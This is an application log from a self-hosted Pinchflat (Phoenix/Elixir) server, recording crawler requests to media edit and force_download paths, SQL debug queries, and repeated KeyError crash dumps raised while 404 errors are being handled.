[ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.8lay (truncated) 15:27:45.157 [info] GET /sources/3/media/9353/edit 15:27:45.157 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "9353", "source_id" => "3"} Pipelines: [:browser] 15:27:45.158 [debug] QUERY OK source="media_items" db=0.2ms idle=296.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [9353] 15:27:45.158 [debug] QUERY OK source="settings" db=0.1ms idle=297.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:45.159 [debug] QUERY OK source="settings" db=0.0ms idle=297.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:45.159 [debug] QUERY OK source="settings" db=0.0ms idle=297.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:45.160 [info] Sent 200 in 2ms 15:27:45.646 [info] GET /sources/3/media/8815/edit 15:27:45.646 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "8815", "source_id" => "3"} Pipelines: [:browser] 15:27:45.647 [debug] QUERY OK source="media_items" db=0.2ms idle=660.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [8815] 15:27:45.647 [debug] QUERY OK source="settings" db=0.1ms idle=489.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:45.648 [debug] QUERY OK source="settings" db=0.1ms idle=489.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:45.648 [debug] QUERY OK source="settings" db=0.1ms idle=489.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:45.649 [info] Sent 200 in 2ms 15:27:46.149 [info] GET /sources/3/media/12040/edit 15:27:46.149 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12040", "source_id" => "3"} Pipelines: [:browser] 15:27:46.149 [debug] QUERY OK source="media_items" db=0.3ms idle=502.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12040] 15:27:46.150 [debug] QUERY OK source="settings" db=0.1ms idle=502.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:46.150 [debug] QUERY OK source="settings" db=0.0ms idle=502.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:46.150 [debug] QUERY OK source="settings" db=0.1ms idle=502.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:46.151 [info] Sent 200 in 2ms 15:27:51.088 [info] GET /sources/3/media/12546/force_download 15:27:51.089 [info] GET /sources/3/media/12040/force_download 15:27:51.089 [debug] QUERY OK source="settings" db=0.2ms idle=1558.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:51.089 [debug] QUERY OK source="settings" db=0.1ms idle=1558.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:51.089 [debug] QUERY OK source="settings" db=0.1ms idle=1558.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:51.089 [debug] QUERY OK source="settings" db=0.1ms idle=1096.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:51.089 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:27:51.089 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:27:51.090 [error] #PID<0.35789.0> running PinchflatWeb.Endpoint (connection #PID<0.35788.0>, stream id 1) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /sources/3/media/12040/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/12040/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/12040/force_download", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 59376}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.35789.0>, params: %{}, path_info: ["sources", "3", "media", "12040", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/sources/3/media/12040/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKJSR7YfRBuHevcAAFID"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/12040/force_download", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 59376}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/12040/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/12040/force_download", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 59376}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.35789.0>, params: %{}, path_info: ["sources", "3", "media", "12040", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.8lay (truncated) 15:27:51.090 [error] #PID<0.35787.0> running PinchflatWeb.Endpoint (connection #PID<0.35780.0>, stream id 5) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /sources/3/media/12546/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/12546/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35780.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/12546/force_download", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 59356}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.35787.0>, params: %{}, path_info: ["sources", "3", "media", "12546", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/sources/3/media/12546/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKJSR7Yb7ZRiFk4ACSCC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35780.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/12546/force_download", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 59356}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/12546/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35780.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/12546/force_download", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 59356}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.35787.0>, params: %{}, path_info: ["sources", "3", "media", "12546", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.8lay (truncated) 15:27:51.389 [info] GET /sources/2/media/12518/force_download 15:27:51.389 [debug] QUERY OK source="settings" db=0.1ms idle=395.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:51.390 [debug] QUERY OK source="settings" db=0.0ms idle=300.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:51.390 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:27:51.390 [error] #PID<0.35790.0> running PinchflatWeb.Endpoint (connection #PID<0.35788.0>, stream id 2) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /sources/2/media/12518/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/12518/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/12518/force_download", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 59376}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.35790.0>, params: %{}, path_info: ["sources", "2", "media", "12518", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/sources/2/media/12518/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKJSR8gF7MWl_6gAEPKB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/12518/force_download", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 59376}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/12518/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/12518/force_download", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 59376}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.35790.0>, params: %{}, path_info: ["sources", "2", "media", "12518", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.8lay (truncated) 15:27:51.890 [info] GET /sources/2/media/13020/force_download 15:27:51.890 [debug] QUERY OK source="settings" db=0.1ms idle=801.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:51.891 [debug] QUERY OK source="settings" db=0.0ms idle=801.2ms SELECT s0."id", s0."onboarding", 